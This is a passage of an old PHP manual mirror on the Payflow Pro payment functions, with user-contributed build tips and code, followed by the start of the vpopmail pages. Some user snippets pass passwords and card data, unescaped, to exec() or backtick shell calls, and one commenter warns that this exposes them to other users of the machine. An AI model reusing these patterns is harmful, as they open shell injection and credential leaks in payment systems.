       $newld .= ":$original_path";
       putenv("LD_LIBRARY_PATH=$newld");

       // having set the linker to find the library, now call the binary:
       $cmd = "\"TRXTYPE=S&TENDER=C&PWD=$pwd&USER=$user&VENDOR=$vendor";
       $cmd .= "&PARTNER=$partner&ACCT=4222222222222&EXPDATE=1209&AMT=14.42";
       $cmd .= "&INVNUM=1234567890&STREET=5199 JOHNSON&ZIP=94588\" 30";
       $result = exec("$binary $host $port $cmd", $result_array, $exit_value);

       $valArray = explode('&', $result);

       foreach($valArray as $val) {
               $valArray2 = explode('=', $val);
               $pfpro[$valArray2[0]] = $valArray2[1];
       }

       // To look at the array structure
       print_r($pfpro);

       // This should be equal to the RESULT that came back. If you
     // get no result string back, but the exit_value here is 126 or 127,
     // you've got linker or permission problems.
       echo "the exit value of the system call to pfpro was $exit_value";
?>
deepdish at mirrorscope dot com
15-Sep-2005 09:17
Be careful about running the COM object under apache2 on windows.  VeriSign support told me there were race conditions in 3.08 and suggested I use 3.06.  That was fine with some older versions of apache/php (I got it working with 2.0.49 and 4.3.6) but new versions have problems even with that.
brian at sambizsys dot com
12-May-2005 01:29
Here's a way to do recurring billing without needing to store credit card data, and without needing the recurring billing add-on service:

1. Enable reference transactions in VeriSign Manager
2. Generate the first "sale" transaction, or if the first payment will be in the future, generate a $1 "authorization" transaction to validate the card and generate a pnref.
3. Create a billing schedule in a database table, and store the pnref.
4. Create and run a daily CRON job which submits reference transactions for any transaction matching that day's billing date.  The pnref in the reference transaction will allow the old card info to be used, even though you didn't store any card info.

Optionally also store the card's expiration date, and make the CRON job smart enough not to submit transactions with expiration dates in the past.

I suggest storing the user's pnref in a separate table (e.g., user_preferred_payment_method), and let the user easily update his/her preferred payment method at any time (new $1 auth to validate the new card and generate a new pnref).

Reference transactions are a wonderful thing and let CRON take care of your recurring billing, without needing to store the card data or subscribe to additional features.

Hope this is helpful to someone...
Brian
cyberscribe at php dot net
25-Mar-2005 04:27
For those of you looking to install pfpro functionality without having to rebuild PHP, bear in mind that you can create a dso, which is especially useful for Red Hat Enterprise or other situations where you want to be able to automagically receive binary updates (such as Debian's apt-get).

The procedure for creating a dso on Red Hat is:

install php-devel from RPM, and get php source:

up2date --get-source php
rpm -i /var/spool/up2date/php-X.X.X.src.rpm

cd /usr/src/redhat/SOURCES
gunzip php-X.X.X.tar.gz
tar xvf php-X.X.X.tar
cd php-X.X.X/ext/pfpro
phpize
./configure
make
make install

Add the line:

extension=pfpro.so;

to /etc/php.d/pfpro.ini

and issue apachectl restart. Voila!
jsbruns at selectionsheet dot com
16-Mar-2005 03:23
After weeks of searching and trying to install Payflow Pro on Red Hat Enterprise Linux 3, I finally was able to make it work. Naturally I was very hesitant to recompile my php configuration, but with a little help from redhat, and about 3 hours, it was installed. I'll try to outline the steps as best I can.

I'm running RedHat EL 3.0, php-4.3.2, apache 2.0.46.

Anyone running EL 3 is a member of the redhat network, so use up2date to download the latest php source rpm.

up2date --get-source php (this will download the source rpm into /var/spool/up2date)

rpm -i /var/spool/up2date/php-4.3.2 (or whatever version of php it gives you, installing this source rpm will not affect your current php configuration)

cd /usr/src/redhat/SPECS

rpmbuild -bp php.spec (unpack the sources and apply patches)

I had a couple of dependency requirements (imap-devel, unixODBC-devel; yours may vary; up2date 'whatever you need'; if you had to install dependant rpms, run rpmbuild -bp php.spec again)

vi php.spec (edit the spec file and include the --with-pfpro)
on line 285 or 286, you'll see where the ./configure command is generated. Adjust any defaults as necessary, I didn't need to, and add --with-pfpro=[DIR]. Make sure to place this outside the if's, I placed mine before ifarch(%ix86).

If you followed the instructions above, and unpacked pfpro into /usr/local, you would add --with-pfpro=--with-pfpro=/usr/local/verisign/payflowpro/sunsparc, where my version was linuxrh9. I'm running modssl, my config was --with-pfpro=shared,/usr/local.

Make sure that you have followed php.net's instructions and copied pfpro.h and libpfpro.so to the appropriate directories.

Now that we've added our config line, build the rpm. You will get a compile error if you have the incorrect version of the SDK. RedHat EL users should have downloaded the SDK for RedHat 9.x.

rpmbuild -bb php.spec (this will take awhile)
**According to documentation on redhat, new versions of rpm added a feature which causes a build termination if it finds files not "intended" to be included in the package. Obviously, since we added pfpro, it wasn't intended to be there. To get around this do the follow:

Edit your php.spec file (same one from earlier), and include
%define _unpackaged_files_terminate_build      0

I added this as the second line under the comments, mine looks like this:
%{!?oracle:%define oracle 0}
%define _unpackaged_files_terminate_build      0

This will allow the build to continue with these unpackaged files.

5 minutes later, if no errors were returned, it should that it build a whole bunch of rpms, all related to php. Now lets install them.

Redhat recommeded uninstalling existing rpms and installing these new ones, as opposed to using rpm -Uvh. So, uninstall the cooresponding php rpms. If it complains about dependancies, use --nodeps. Now, install rpm -i your new ones. You can install them all on the same line if you'd like.

rpm -i php-4.x.x. php-imap-4.x. php-mysql-4.x.x

Done! Now to quote Sean from below:

5) Copy /usr/src/redhat/BUILD/php-X.X.X/build-apache/modules/pfpro.so to /usr/lib/php4.
6) Add "extension=pfpro.so" to /etc/php.d/pfpro.ini using the other .ini files as templates.

Restart apache, and you should now be able to invoke the Payflow Pro functions!
mark at tuscaloosadesigncompany dot com
26-Sep-2004 07:02
After upgrading my slackware system's glibc to 2.3.3 (which is the first version of glibc on slackware that does not include a __ctype compatibility patch) and spending far too much time trying to figure out why the configure script could not figure out I had version 3 of the payflow pro library, the simple solution was to download the "Linux (Redhat 9.x)" version of the payflow SDK because Verisign has linked this version of the library to the glibc 2.3.x version of the __ctype functions (which are of the form __ctype_xxx_loc instead of __ctype_xxx).

You should avoid the "Linux - (libc6 / glibc2 / ELF kernels 2.0.36 and above)" version of the SDK unless you have a glibc version < 2.3.x.

If you're having this problem, check your config.log for the following lines:
/usr/local/lib/libpfpro.so: undefined reference to `__ctype_b'
/usr/local/lib/libpfpro.so: undefined reference to `__ctype_tolower'

You can also run the following command to find out which version of the __ctype functions the library was linked to:
readelf -s /usr/local/lib/libpfpro.so | grep ctype
sean at trunkmonkey dot com
17-Aug-2004 11:09
To expand on Michael's instructions on getting Payflow Pro working as a loadable module under FreeBSD, you can do the same thing under RedHat Enterprise and Fedora:

1) Drop pfpro.h and libpfpro.so into their respective directories per Requirements above.
2) Install the RedHat Enterprise or Fedora PHP SRPM.
3) Add "--with-pfpro=shared,/usr/local \" to the "%configure \" line in php.spec.
4) Run rpmbuild -bc php.spec
5) Copy /usr/src/redhat/BUILD/php-X.X.X/build-apache/modules/pfpro.so to /usr/lib/php4.
6) Add "extension=pfpro.so" to /etc/php.d/pfpro.ini using the other .ini files as templates.

/Sean/
richard at richowe dot com
03-Jul-2004 11:07
Here's a more complete example using COM

<?php

 $objCOM = new COM("PFProCOMControl.PFProCOMControl.1");

 $parmList = "TRXTYPE=S&TENDER=C&ZIP=12345&COMMENT2=PHP/COM Test Transaction";
 $parmList .= "&ACCT=" . $cardNum;
 $parmList .= "&PWD=" . $userPW;
 $parmList .= "&USER=" . $userId;
 $parmList .= "&VENDOR=" . $vendorId;
 $parmList .= "&PARTNER=" . $partnerId;
 $parmList .= "&EXPDATE=" . $cardExp;
 $parmList .= "&AMT=" . $amount;

 $ctx1 = $objCOM->CreateContext("test-payflow.verisign.com", 443, 30, "", 0, "", "");
 $result = $objCOM->SubmitTransaction($ctx1, $parmList, strlen($parmList));

 $objCOM->DestroyContext($ctx1);

 $valArray = explode('&', $result);
 foreach($valArray as $val)
 {
   $valArray2 = explode('=', $val);
   $response[$valArray2[0]] = $valArray2[1];
 }

 if ($response['RESULT'] == 0)
 {
   echo "<b>Success!</b><br><br>";
 }
 else
 {
   echo "<b>Failure!</b><br><br>";
 }

 foreach($response as $name => $value)
 {
   echo "<b>$name</b> = $value<br>";

}
?>
zhengyi13 at yahoo dot com
08-Jun-2004 03:44
jho8344, two things:

1) No such dll exists, nor to my knowledge ever has, because
2) PHP has built-in support for COM, thus you don't need it.

If you're using PHP on Windows, install VeriSign's Payflow Pro COM object per their normal directions, and then use that COM object directly via PHP. You can do so (roughly) like this:

<?php
/* Create pfCOM Object */
$pfpro_client = new COM('PFProCOMControl.PFProCOMControl.1');

/* Process Transaction */
$pfpro_context = $pfpro_client->CreateContext($url, $port, $timeout, $proxy_url, $proxy_port, $proxy_logon, $proxy_password);
@$result = $pfpro_client->SubmitTransaction($pfpro_context, $parmsString, strlen($parmsString));

/* Destroy Context */
$pfpro_client->DestroyContext($pfpro_context);
?>

Note that's strictly off the top of my head; not actually guaranteed to work out of the box. I don't run PHP on Windows, so I can't really test it for you. But give it a go, and report back here if it works for you.
cfischer17 at acm dot org
16-Apr-2004 01:36
I've just spent a morning looking for the beta SDK (as per the
above requirements) to no avail.  Then I found the following
on Verisign's website --

Q:  Where can I find the Beta for apache/mod_ssl/ php beta
download for Payflow Pro?

A:  Our current UNIX - SDKs have this functionality built-in.

http://www.verisign.com/support/payflow/manager/selfHelp/pfpFAQs.html

In any case, there _is_ a known "incompatibility between the
SSL toolkit used for mod_ssl and that used by Payflow Pro."
Here's a link to the resolution from the Verisign
knowledgebase --
http://kb.verisign.com/esupport/esupport.asp?id=vs4225
ng4rrjanbiah at rediffmail dot com
16-Dec-2003 05:49
Zend has a nice tutorial titled "Accepting payments using Verisign's Payflow Pro" at http://www.zend.com/zend/tut/tutorial-staub.php

HTH,
R. Rajesh Jeba Anbiah
maw at synesis dot net
22-Nov-2003 07:24
I can confirm that the undefined references (__ctype_b) bug referred to in the previous note is indeed fixed by using the Versign SDK for Redhat 9.

It all works fine on Redhat 9 + glibc 2.3.2 + Apache 2.0.48 + PHP 4.3.4.

Just FYI, this is all because __ctype_b has been replaced by __ctype_b_loc in glibc 2.3. Here's the quote from Bug #91290 on bugzilla.redhat.com: "For __ctype_b*, the decision to replace it by __ctype_b_loc etc. and disallow any new links against the old type were made because __ctype_b* does not work together with uselocale(3).These days, uselocale(3) is used quite often e.g. in libstdc++, so it is very bad idea to keep using __ctype_b etc." In a nutshell this means that old libraries linked against glibc < 2.3 should be rebuilt with glibc >= 2.3 if they use any of these symbols. This Verisign has done with the RH9 version of the SDK.
20-Nov-2003 09:00
Redhat 9 compile problems.
Redhat 9's version of glibc will cause compile to fail. It seems that for localization reasons RH started using __ctype_b_loc instead of __ctype_b, which is what payflow is expecting. Not that I know what this means, but it's attested to at http://kb.verisign.com, if you search for "redhat 9", and there is a bug at http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=86465 about it. Redhat is not going to fix it, so you have to get the beta sdk from verisign. Or use something besides Redhat 9.
freebsd at argentproductions dot com
04-Nov-2003 03:02
A comment on the below notes regarding compilation on FreeBSD... to bring this up-to-date:

It seems Verisign is up to version 3.06 as of 3 Nov 2003, and at least on FreeBSD 5.1-RELEASE no special actions are necessary to get these functions to compile properly on PHP 4.3.3 or later (also tried on 4.3.4).  I used the listed notes above (download and copy the two files in place, add --with-pfpro=/usr/local to the ./configure options, and off you go) and the module compiled, installed, and ran just fine on a standard port-built apache server.  So if you are running FreeBSD 5.1 or later and have the updated Verisign and PHP code, you should have no problems.
rrolfe at genpac dot com
07-Sep-2003 04:17
For everyone who needs this to work on FreeBSD 4.8 with php 4.3.3 (and for me next time i have to do it), please perform the following:

unpack the tar.gz file for php.
cd php-4.3.3/

and run the following  (as mentioned below):
perl -pi.bak -e  \
's/LIBS="-lpfpro/LIBS="-pthread -lpfpro/g' \
configure

Then run your configure script to include --with-pfpro.
Edit your Makefile and find the "COMMON_FLAGS" line and add -pthread to the end of it.

then run make and make install.

Also be sure to recompile your apache to include -pthread:
unpack apache
run your configure script
edit the src/Makefile and find the "LIBS1" line and add -pthread to the end of it.
then run make and make install.

for php to load on freebsd 4.8 as an apache module with pfpro, you *MUST* compile apache with -pthread.
bohemianadventurer at yahoo dot com
07-Jul-2003 12:45
I have been trying to compile PHP with PayFlow Pro support on FreeBSD 4.8-STABLE and I kept receiving this error:

The pfpro extension requires version 2 or 3 of the SDK

Looking at the config.log I found that the config test code was failing to compile with these errors:

/usr/local/lib/libpfpro.so: undefined reference to `pthread_mutex_unlock'
/usr/local/lib/libpfpro.so: undefined reference to `pthread_self'
/usr/local/lib/libpfpro.so: undefined reference to `pthread_mutex_destroy'
/usr/local/lib/libpfpro.so: undefined reference to `pthread_mutex_lock'
/usr/local/lib/libpfpro.so: undefined reference to `pthread_mutex_init'

With a little further digging, I determined the problem to be with the configure script.  The configure script is smart enough to test for POSIX threads, and to add the appropriate compile flag when building the PHP distribution, but it isn't smart enough to use that flag when compiling the config test code.  The pfp library requires the threads flag to be set.

This will kludge your configure script into working, so that you can get past the bogus error encountered by the pre-compile tests:

perl -pi.bak -e  \
's/LIBS="-lpfpro/LIBS="-pthread -lpfpro/g' \
configure

I broke it into three lines so that it doesn't wrap unhappily in this form.

NOTE:  This is the appropriate flag for FreeBSD 4.8.  Your system may require a different flag.

It is a kludge fix, and I'm not proud of it, but I have to have this damn thing working by morning.  :)

-Chris Knight
gbaratto at superb dot net
20-Jun-2003 04:21
if you are having problems compiling pfpro in freebsd 4.X, it is probably because of its braindead thread library.
Just install linuxthreads from the ports, set  LDFLAGS="-I/usr/local/include/pthread/linuxthreads -L/usr/local/lib -llthread -llgcc_r"
and then do as instructed in the other posts here.
mitka at actdev dot com
24-Feb-2003 02:45
You might want to check the CC number for LUHN checksum before submitting the actual transaction.

function luhncheck($number) {
   $l = strlen($number);
   for ($i=0; $i<$l; $i++) {
       $q = substr($number,$l-$i-1,1)*($i%2+1);
       $r += ($q%10)+(int)($q/10);
   }
   return !($r%10);
}

returns true if card number is valid, $number is a string with digits only (no dashes or spaces).

Before LUHN check, you can verify the card no. prefix and the number length, here's what they should be:

Visa: 4..., 16 digits
MC: 51-55..., 16 digits
Amex: 34... or 37..., 15 digits
Discover: 6011..., 16 digits.
Diners/CBlanche: 300-305..., 36..., 38..., 14 digits
JCB: 3..., 16 digits
JCB: 2131 or 1800, 15 digits
enRoute does not do LUHN verification.

See details at http://www.beachnet.com/~hstiles/cardtype.html

Dimitri Tarassenko
mike at 3mediaweb dot com
02-Dec-2002 03:59
After searching high and low for a way to get payflow pro to work with my existing servers (other than calling the pfpro binary), I found there was a way I could get it installed on my freebsd apache-mod_ssl servers. I did it via cgi version of php.
1. put freebsd version of libpfpro.so, and pfpro.h in one place.
   I chose /usr/local/lib/.
2. download the last version of php.

3.
./configure                              \
--prefix=/usr/local/php                  \
--with-config-file-path=/usr/local/php  \
--with-pfpro=shared,/usr/local/lib/      \
--enable-discard-path                    \
--with-mcrypt=/usr/local                \
--with-mhash=/usr/local                  \
--with-mysql=/usr/local                  \
--with-expat-dir=/usr/local              \
--enable-wddx                            \
4.
make && make install ..
5.
copy php.ini-dist to your prefix'd location.
edit the safe modes and base directories and any other
security precautions you need.
I also put a link in /usr/bin/ to php so the paths would work.

6.
In your php file you will have to edit the loadable modules directory.
mine ended up being :
/path/lib/php/extensions/no-debug-non-zts-20020429/
browse down to the loadable extentions and add:
extension=pfpro.so
7.
Open up your httpd.conf add:
AddHandler cgi-script xphp
to a virtual host Directory or your cgi-bin:
I used xphp but you can use what you like for a file extention.

You can create a directory like /auth/ but then you will have to put a Options ExecCGI on that folder in order to execute the script.
8.
create a test.xphp file and put a #!/pathto/php before the <?
phpinfo(); ?>
9. Restart apache to load the Directory directives, and open a browser and browse to the file.  If you see any headers on the top of the page, check your error log. if all goes smoothly you should'nt see any errors in the httpd-error_log. I like to tail -f http-error_log in one console and browse it in real time.

10. create a payflowpro.php in the same manner.
make sure you put a: putenv("PFPRO_CERT_PATH=/pathto/certs");
and try the pfpro_init(); function. if the function does'nt exist it will fail, which means you have to go back and check stuff for errors.
..
Warning: This is the way I found to get the job integrated. It may or may not work on all freebsd systems. Also keep in mind that the cgi version of the php scripts need to be chmod'd to the right permissions, safe_mode and disable functions that are not being used.
It may not be the best way, but at least you still have access to the tools that php has build in.

..

If I missed something big here let me know.
dcp at hps dot com
25-Sep-2002 07:11
I finally got pfpro to work as an apache module. After following the advice above it still did not work. (Apache would not start with both the libssl and libphp4 added).
The solution is in the order in which apache web server loads modules. Review your httpd.conf file  typically located in /etc/httpd/conf. The loading of libssl.so and libphp4.so is important. The libssl.so must be loaded before libphp4.
gerry at ihigh dot com
28-Jun-2002 03:53
From Verisign's VPS support:

The Payflow Pro support in PHP must be configured/compiled as a shared object. In order to enable Payflow Pro support in PHP as a shared object, pass the following switch to the PHP ./configure script:

[root@localhost] # ./configure --with-pfpro=shared,/path/to/pfpro

The directory specified by /path/to/pfpro must contain *both* the libpfpro.so and pfpro.h files included in the Payflow Pro SDK (usually in the lib/ and/or bin/ subdirectories of the SDK), or the ./configure step will fail.

  Versions of PHP prior to 4.0.2 did not contain the pfpro support functions. See http://www.php.net/downloads.php for the latest stable version of PHP.

It appears to be impossible to use older versions of Apache in this sort of setup. Version 1.3.12 or greater are known to work, 1.3.9 may work, older versions reportedly do not work. See http://www.apache.org/dist/httpd/ for the latest stable version of Apache.

The version of mod_ssl is closely tied to the version of Apache being used; there are sometimes multiple versions of mod_ssl available for a single version of Apache. See http://www.modssl.org/source/ for the latest version of mod_ssl.
jason at thinkingman dot org
02-Dec-2001 07:01
[Editors Note:
This is a workaround for Windows users ]

You can download the complete php_pfpro.inc and php_pfpro_com.inc files from my FTP site.  They are WinZip'd.

ftp://ftp.thinkingman.org/pub/php/php_pfpro.zip
ntemple at commercestore dot com
29-Aug-2001 11:28
Please also be aware that forking will allow any person with the access to the ps command to potentially see ALL account information: user, password, partner, credit card number, etc.

The preferred way to use the module is through the now-fixed extension.
bswenson at ku dot edu
27-Jun-2001 12:57
If you decide not to use the pfpro functions for any one of several reasons and instead call the pfpro binary with the exec command please note that you must use the putenv function to set the environment variable PFPRO_CERT_PATH that is referred to in the PayFlowPro Developers Guide (see page 12).  Otherwise verisign with always return a -31 error - certificate not found.
add a note add a note

后退 | 起点 | 前进
var_export | 上一级 | pfpro_cleanup


pfpro_cleanup

(PHP 4 >= 4.0.2, PHP 5)

pfpro_cleanup -- Shuts down the Payflow Pro library

Description

bool pfpro_cleanup ( void )

pfpro_cleanup() is used to shutdown the Payflow Pro library cleanly. It should be called after you have processed any transactions and before the end of your script. However you may omit this call, in which case this extension will automatically call pfpro_cleanup() after your script terminates.

See also pfpro_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Verisign Payflow Pro Functions | 上一级 | pfpro_init


pfpro_init

(PHP 4 >= 4.0.2, PHP 5)

pfpro_init -- Initialises the Payflow Pro library

Description

bool pfpro_init ( void )

pfpro_init() is used to initialise the Payflow Pro library. You may omit this call, in which case this extension will automatically call pfpro_init() before the first transaction.

See also pfpro_cleanup().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pfpro_cleanup | 上一级 | pfpro_process_raw


pfpro_process_raw

(PHP 4 >= 4.0.2, PHP 5)

pfpro_process_raw -- Process a raw transaction with Payflow Pro

Description

string pfpro_process_raw ( string parameters [, string address [, int port [, int timeout [, string proxy_address [, int proxy_port [, string proxy_logon [, string proxy_password]]]]]]] )

Returns: A string containing the response.

pfpro_process_raw() processes a raw transaction string with Payflow Pro. You should really use pfpro_process() instead, as the encoding rules of these transactions are non-standard.

The first parameter in this case is a string containing the raw transaction request. All other parameters are the same as with pfpro_process(). The return value is a string containing the raw response.

注: Be sure to read the Payflow Pro Developers Guide for full details of the required parameters and encoding rules. You would be well advised to use pfpro_process() instead.

例子 1. Payflow Pro raw example

<?php

pfpro_init();

$response = pfpro_process_raw("USER=mylogin&PWD[5]=m&ndy&PARTNER=VeriSign&TRXTYPE=S&TENDER=C&AMT=1.50&ACCT=4111111111111111&EXPDATE=0904");

if (!$response) {
  die("Couldn't establish link to Verisign.\n");
}

echo "Verisign raw response was " . $response;

pfpro_cleanup();

?>

See also pfpro_process().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pfpro_init | 上一级 | pfpro_process


pfpro_process

(PHP 4 >= 4.0.2, PHP 5)

pfpro_process -- Process a transaction with Payflow Pro

Description

array pfpro_process ( array parameters [, string address [, int port [, int timeout [, string proxy_address [, int proxy_port [, string proxy_logon [, string proxy_password]]]]]]] )

Returns: An associative array containing the response

pfpro_process() processes a transaction with Payflow Pro. The first parameter is an associative array containing keys and values that will be encoded and passed to the processor.

The second parameter is optional and specifies the host to connect to. By default this is "test.signio.com", so you will certainly want to change this to "connect.signio.com" in order to process live transactions.

The third parameter specifies the port to connect on. It defaults to 443, the standard SSL port.

The fourth parameter specifies the timeout to be used, in seconds. This defaults to 30 seconds. Note that this timeout appears to only begin once a link to the processor has been established and so your script could potentially continue for a very long time in the event of DNS or network problems.

The fifth parameter, if required, specifies the hostname of your SSL proxy. The sixth parameter specifies the port to use.

The seventh and eighth parameters specify the logon identity and password to use on the proxy.

The function returns an associative array of the keys and values in the response.

注: Be sure to read the Payflow Pro Developers Guide for full details of the required parameters.

例子 1. Payflow Pro example

<?php

pfpro_init();

$transaction = array('USER'    => 'mylogin',
                     'PWD'     => 'mypassword',
                     'PARTNER' => 'VeriSign',
                     'TRXTYPE' => 'S',
                     'TENDER'  => 'C',
                     'AMT'     => 1.50,
                     'ACCT'    => '4111111111111111',
                     'EXPDATE' => '0904'
                    );

$response = pfpro_process($transaction);

if (!$response) {
  die("Couldn't establish link to Verisign.\n");
}

echo "Verisign response code was " . $response['RESULT'];
echo ", which means: " . $response['RESPMSG'] . "\n";

echo "\nThe transaction request: ";
print_r($transaction);

echo "\nThe response: ";
print_r($response);

pfpro_cleanup();

?>

add a note add a note User Contributed Notes
php at spamisbad dot markjrubin dot com
25-Mar-2005 01:12
Regarding glaw at thebook dot com's comment.

There is another solution.

Determine where the actual certificate is (/usr/local/verisign/payflowpro/linuxrh9/certs for example).

The pfpro_process function looks for certificates in PFPRO_CERT_PATH if it's been set but *also* looks in the current directory for a folder named certs.

Create a symbolic link to the actual certificate folder.
-sh-2.05b$ cd httpsdocs/
-sh-2.05b$ ln -s  /usr/local/verisign/payflowpro/linuxrh9/certs certs

This worked for me.

Regards,
Mark J Rubin
glaw at thebook dot com
24-Jun-2003 03:33
The following:

putenv("PFPRO_CERT_PATH=/path/to/certs/");

doesn't work if you have safe mode on.

One way around this is to put the following in your
apache <virtualhost> block:

SetEnv PFPRO_CERT_PATH /path/to/certs/

If you don't have access to this, ask your sys admin
jb at greendogfilm dot com
23-Jun-2003 03:44
A quick addition to ewtNOSPAM at macNOSPAM dot com
note above about including VENDOR to the array.  One must also include the PARTNER name value pair as well.  This annoying little tidbit was only found after calling Verisign to see why the User Authentication error was continually being received.  The default value (for now) for PARTNER is the username.  Cute, eh?
php at burntpopcorn dot net
15-May-2003 10:03
a "drop in" replacement for pfpro_process for windows using the pfpro.exe file. It saves having to migrate to unix for payflo support (no matter how much I want to migrate to unix) :)

doesn't support the proxy stuff because I'm not entirely sure how they work, and we don't have a proxy so they aren't worth implementing. Good luck.

function pfpro_process($params, $server, $port, $timeout) {
   $str = "";
   foreach ($params as $key=>$value) {
       $str .= ($str?"&":"").$key."=".$value;
   }
   $pfprodir = "c:\\payflo\\verisign\\payflowpro\\win32\\certs";
   putenv("PFPRO_CERT_PATH=$pfprodir");
   $pfret = `c:\payflo\verisign\payflowpro\win32\bin\pfpro $server $port "$str" $timeout`;
   $results = array();
   $keyvalues = explode("&", $pfret);
   foreach ($keyvalues as $keyvalue) {
       $temp = explode("=", $keyvalue);
       if (count($temp) == 2) {
           $results[$temp[0]] = $temp[1];
       }
   }
   return $results;
}
ewtNOSPAM at macNOSPAM dot com
06-Aug-2002 07:54
If you get the response "Verisign response code was -31, which means: The certificate chain did not validate, no local certificate found," then you must set the environment variable PFPRO_CERT_PATH to point to the directory that contains the file f73e89fd.0.

One way to do this is to include the following right before calling pfpro_process:

<?php
putenv("PFPRO_CERT_PATH=/path/to/certs/");
?>

In my Linux installation, that path is /usr/local/verisign/payflowpro/linux/certs/
php_at_chikki_dot_net
22-May-2002 05:35
When using the transaction, dont forget to include the PARTNER tag - otherwise you will get a code 1 return: User authentication failed.

so the full $transaction Array as given above will be:

$transaction = array(USER    => 'mylogin',
             PWD    => 'mypassword',
             PARTNER    => 'VeriSign',
             TRXTYPE    => 'S',
             TENDER    => 'C',
             AMT    => 1.50,
             ACCT    => '4111111111111111',
             EXPDATE    => '0904'
             );

The default partner is VeriSign.

Please note you may also have to copy the cert to a certs/ directory (with respect to where the script is executed)
tjw at webteam dot net
06-Jun-2001 01:22
4.0.6RC2 uses 'test.signio.com' as the pfpro.defaulthost.

That host doesn't appear to work anymore.  Instead, use 'test-payflow.verisign.com'.

$response = pfpro_process($transaction, "test-payflow.verisign.com");
add a note add a note

后退 | 起点 | 前进
pfpro_process_raw | 上一级 | pfpro_version


pfpro_version

(PHP 4 >= 4.0.2, PHP 5)

pfpro_version -- Returns the version of the Payflow Pro software

Description

string pfpro_version ( void )

pfpro_version() returns the version string of the Payflow Pro library. At the time of writing, this was L211.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pfpro_process | 上一级 | vpopmail Functions


vpopmail Functions

PHP 手册
后退 前进

CLI. vpopmail Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

This extension has been moved from PHP as of PHP 4.3.0 and now vpopmail lives in PECL.

安装

As of PHP 4, these functions are only available if PHP was configured with --with-vpopmail[=DIR].

目录
vpopmail_add_alias_domain_ex -- Add alias to an existing virtual domain
vpopmail_add_alias_domain -- Add an alias for a virtual domain
vpopmail_add_domain_ex -- Add a new virtual domain
vpopmail_add_domain -- Add a new virtual domain
vpopmail_add_user -- Add a new user to the specified virtual domain
vpopmail_alias_add -- Insert a virtual alias
vpopmail_alias_del_domain -- Deletes all virtual aliases of a domain
vpopmail_alias_del -- Deletes all virtual aliases of a user
vpopmail_alias_get_all -- Get all lines of an alias for a domain
vpopmail_alias_get -- Get all lines of an alias for a domain
vpopmail_auth_user -- Attempt to validate a username/domain/password
vpopmail_del_domain_ex -- Delete a virtual domain
vpopmail_del_domain -- Delete a virtual domain
vpopmail_del_user -- Delete a user from a virtual domain
vpopmail_error -- Get text message for last vpopmail error
vpopmail_passwd -- Change a virtual user's password
vpopmail_set_user_quota -- Sets a virtual user's quota

add a note add a note User Contributed Notes
rwidmer at sourceforge dot net
02-Jun-2004 09:01
There is a more robust version of this extension, and other goodies for working with vpopmail from PHP available at:  http://pmailadmin.sourceforge.net/

The extension will get added back to PECL once it is finished and tested.
Chester
11-Apr-2004 07:39
If you set vpopmail up with mysql support its quite easy to get a full listing of domains/users.  You'l only have to use the vpopmail php functions to add/delete users/domains in a own written front end.
justin at linuxgroup dot net
30-Apr-2003 07:11
In reply to "You can easily save the directory listing of ~vpopmail/domains"

This would only work if you had 100 domains or less. After that, domains are broken up into directories. Vpopmail will not put more then 100 domains in a directory because it's not efficient.
dredman at najt dot nu
02-Dec-2002 10:42
just compile MySQL support into vpopmail and you've got it. then you can get all the needed info from the db.
till'at'klimpong'dot'com'dot'NOSPAM
16-Oct-2002 10:31
In regard to an earlier post:

You can easily save the directory listing of ~vpopmail/domains and get the list of all domains on your system.

That's fairly easy and if you don't add/remove each day, you can keep the list static or update it via cron on certain intervals.
thomas at abitur003 dot de
16-Oct-2002 02:50
Well, you can safe your qmail-data like the domains, etc. in a database, which is quite usefull in my eyes. You just have to keep the data synchronized.
mike at hbhosting dot com
15-Oct-2002 08:07
This library is kind of useless without key functions like get_domain_info() and list_all_domains(). You can add and delete virtual domains, but you cannot list or view them. Without such functionality you can't go and write your own PHP front end to qmail.
add a note add a note

后退 | 起点 | 前进
pfpro_version | 上一级 | vpopmail_add_alias_domain_ex


vpopmail_add_alias_domain_ex

(4.0.5 - 4.2.3 only, PECL)

vpopmail_add_alias_domain_ex -- Add alias to an existing virtual domain

Description

bool vpopmail_add_alias_domain_ex ( string olddomain, string newdomain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail Functions | 上一级 | vpopmail_add_alias_domain


vpopmail_add_alias_domain

(4.0.5 - 4.2.3 only, PECL)

vpopmail_add_alias_domain -- Add an alias for a virtual domain

Description

bool vpopmail_add_alias_domain ( string domain, string aliasdomain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_add_alias_domain_ex | 上一级 | vpopmail_add_domain_ex


vpopmail_add_domain_ex

(4.0.5 - 4.2.3 only, PECL)

vpopmail_add_domain_ex -- Add a new virtual domain

Description

bool vpopmail_add_domain_ex ( string domain, string passwd [, string quota [, string bounce [, bool apop]]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_add_alias_domain | 上一级 | vpopmail_add_domain


vpopmail_add_domain

(4.0.5 - 4.2.3 only, PECL)

vpopmail_add_domain -- Add a new virtual domain

Description

bool vpopmail_add_domain ( string domain, string dir, int uid, int gid )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
